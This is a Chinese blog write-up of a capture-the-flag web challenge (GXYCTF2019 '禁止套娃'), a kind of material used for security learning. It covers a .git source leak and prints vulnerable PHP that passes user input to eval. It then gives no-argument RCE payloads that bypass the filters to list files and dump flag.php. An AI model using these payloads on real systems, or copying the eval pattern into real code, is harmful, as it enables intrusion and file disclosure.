美文网首页
GXYCTF2019-WEB-禁止套娃

GXYCTF2019-WEB-禁止套娃

作者: le3f | 来源:发表于2020-04-13 22:33 被阅读0次

复现地址:[https://buuoj.cn/challenges]

0x00知识点:

  • .git文件源码泄露
  • 无参数RCE
    localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    scandir() 列出 images 目录中的文件和目录。
    readfile() 输出一个文件。
    current() 返回数组中的当前单元, 默认取第一个值。
    pos() current() 的别名。
    next() 函数将内部指针指向数组中的下一个元素,并输出。
    array_reverse()以相反的元素顺序返回数组。
    highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

0x01 解题

打开文件什么都没有,输入什么页面都没有变化

通过git扫描工具扫描发现index.php

image.png
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
POST /?exp=print_r(scandir(pos(localeconv())));
image.png

之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

相关文章

  • GXYCTF2019-WEB-禁止套娃

    复现地址:[https://buuoj.cn/challenges] 0x00知识点:.git文件源码泄露无参数R...

  • 每日一图(4)

    大家好我是小白,今天继续给大家分享几张图片~ 【1】 禁止套娃禁止套娃禁止套娃禁止套娃禁止套娃禁止套娃禁止套娃禁止...

  • 禁止套娃

    智慧本无限, 万象皆在意。 套娃生何处, 生活点与滴。 有一个小女孩随手拍下了段只有两只眼睛的小视频,有人...

  • 禁止禁止禁止禁止禁止套娃

    本文已获授权 来源:壹读(ID:yiduiread) 作者:didi 网上冲浪最怕什么? 套娃。还一个套一个的套娃...

  • GXYCTF--禁止套娃&BabaySqli v3.0

    今天也来接着做下GXY的几道web题 禁止套娃 首先是禁止套娃这一道,题目类型为无参RCE。我也是通过这一道题才了...

  • 354. 俄罗斯套娃信封问题(禁止套娃!)

    其实配套有小视频的,但是简书没有会员上传不上来哈哈哈,可以去力扣看《禁止套娃!(图解过程)》[https://le...

  • Element-ui input输入框无法输入的问题真正解决~

    场景描述: 一个dialog弹出框里的form表单里的input框(禁止套娃hhhh)。一框两用,新增和修改功能都...

  • 套娃

    正在吃晚饭,有人轻轻地敲门。女儿跑去打开门,喊道:"妈,你的学生来啦!" 停了片刻,不见有人进来,我站起来走到门边...

  • 套娃

    张营距镇上有十几里,为了不耽误学生上课,我们俩去央求这节同样没课的体育王老师开车载我们,他听完大至情况爽快地答应了...

  • 套娃

    我们的成长的感觉,有点像俄罗斯套娃一样; 一层一层的包装着自己; 生活称谓的不断改变,从天真的学生到迷茫的职场小白...

网友评论

      本文标题:GXYCTF2019-WEB-禁止套娃

      本文链接:https://www.haomeiwen.com/subject/wlpomhtx.html